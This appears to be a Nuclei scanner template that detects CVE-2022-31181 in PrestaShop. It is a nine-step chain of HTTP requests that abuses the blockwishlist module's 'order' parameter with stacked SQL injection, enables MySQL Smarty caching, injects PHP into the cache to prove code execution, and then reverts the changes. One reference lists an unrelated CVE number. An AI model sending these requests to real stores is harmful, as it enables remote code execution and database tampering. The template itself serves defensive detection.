id: CVE-2022-31181

info:
  name: PrestaShop - SQL Injection to Eval Injection
  author: daffainfo
  severity: critical
  description: |
    PrestaShop versions from 1.6.0.10 and before 1.7.8.7 contain an SQL injection caused by unsanitized user input, letting attackers chain the vulnerability to call PHP's Eval function, exploit requires attacker to send malicious input.
  remediation: |
    Upgrade to version 1.7.8.7 or later. Alternatively, delete the MySQL Smarty cache feature if upgrade is not possible.
  impact: |
    Attackers can execute arbitrary PHP code, leading to remote code execution and full system compromise
  reference:
    - https://www.xmco.fr/wp-content/uploads/2022/12/XMCO-ActuSecu-59-Forwardshell-UXSS-cyberguerre.pdf
    - https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-hrgx-p36p-89q4
    - https://github.com/PrestaShop/PrestaShop/commit/b6d96e7c2a4e35a44e96ffbcdfd34439b56af804
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31181
    epss-score: 0.06479
    epss-percentile: 0.93059
    cwe-id: CWE-89,CWE-74
    cpe: cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: prestashop
    product: prestashop
    shodan-query:
      - http.component:"Prestashop"
      - cpe:"cpe:2.3:a:prestashop:prestashop"
      - http.component:"prestashop"
  tags: cve,cve2022,prestashop,rce,intrusive,vkev,vuln

variables:
  first_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
  last_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  password: "{{rand_base(8)}}"
  num: "999999999"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9)

http:
  - raw:
      - |
        POST /login?create_account=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id_gender=1&firstname={{first_name}}&lastname={{last_name}}&email={{email}}&password={{password}}&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

    matchers:
      - type: dsl
        dsl:
          - regex('PrestaShop-[0-9a-f]{32}', header)
          - status_code == 302
        condition: and
        internal: true

  - raw:
      - |
        GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"id_wishlist"'
          - '"nbProducts"'
          - '"name"'
        condition: and
        internal: true

    extractors:
      - type: json
        name: id_wishlist
        part: body
        json:
          - .wishlists[0].id_wishlist
        internal: true

  - raw:
      - |
        POST /module/blockwishlist/action?action=addProductToWishlist HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        params[id_product]=1&params[idWishList]={{id_wishlist}}&params[quantity]=0&params[id_product_attribute]=0

    matchers:
      - type: dsl
        dsl:
          - status_code == 200 || status_code == 201
        internal: true

  - raw:
      - |
        POST /module/blockwishlist/view HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/x-www-form-urlencoded

        id_wishlist={{id_wishlist}}&order=product.price;UPDATE+ps_configuration+SET+value+=1+WHERE+name+LIKE+'%_SMARTY_CACHE';--.desc&from-xhr=

      - |
        POST /module/blockwishlist/view HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/x-www-form-urlencoded

        id_wishlist={{id_wishlist}}&order=product.price;UPDATE+ps_configuration+SET+value+='mysql'+WHERE+name+LIKE+'%_SMARTY_CACHING_TYPE';--.desc&from-xhr=

    matchers:
      - type: word
        part: body
        words:
          - '"sort_orders"'
          - '"entity"'
          - '"field"'
        internal: true
        condition: and

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'prestashop'
        internal: true

  - raw:
      - |
        POST /module/blockwishlist/view HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/x-www-form-urlencoded

        id_wishlist={{id_wishlist}}&order=product.price;UPDATE+ps_smarty_cache+SET+content=concat(content,"echo+md5('{{num}}');");--.desc&from-xhr=

    matchers:
      - type: word
        part: body
        words:
          - '"sort_orders"'
          - '"entity"'
          - '"field"'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - 'prestashop'
          - 'c8c605999f3d8352d7bb792cf3fdb25b'
        condition: and
        internal: true

  - raw:
      - |
        POST /module/blockwishlist/view HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/x-www-form-urlencoded

        id_wishlist={{id_wishlist}}&order=product.price;UPDATE+ps_smarty_cache+SET+content=REPLACE(content,"echo+md5('{{num}}');","");--.desc&from-xhr=

      - |
        POST /module/blockwishlist/view HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/x-www-form-urlencoded

        id_wishlist={{id_wishlist}}&order=product.price;UPDATE+ps_configuration+SET+value+=0+WHERE+name+LIKE+'%_SMARTY_CACHE';--.desc&from-xhr=

      - |
        POST /module/blockwishlist/view HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/x-www-form-urlencoded

        id_wishlist={{id_wishlist}}&order=product.price;UPDATE+ps_configuration+SET+value+='filesystem'+WHERE+name+LIKE+'%_SMARTY_CACHING_TYPE';--.desc&from-xhr=

    matchers:
      - type: word
        part: body
        words:
          - '"sort_orders"'
          - '"entity"'
          - '"field"'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'prestashop'

      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3fdb25b'
        negative: true

      - type: status
        status:
          - 200
# digest: 490a0046304402201ad56645f6f695c02596ac9511eadc9556db236056d6b28d384d302cfe79caff0220182009b383c3004c1e147f8be75a16539c5a465ad555d96a22eee3b1e77bc194:922c64590222798bb761d5b6d8e72950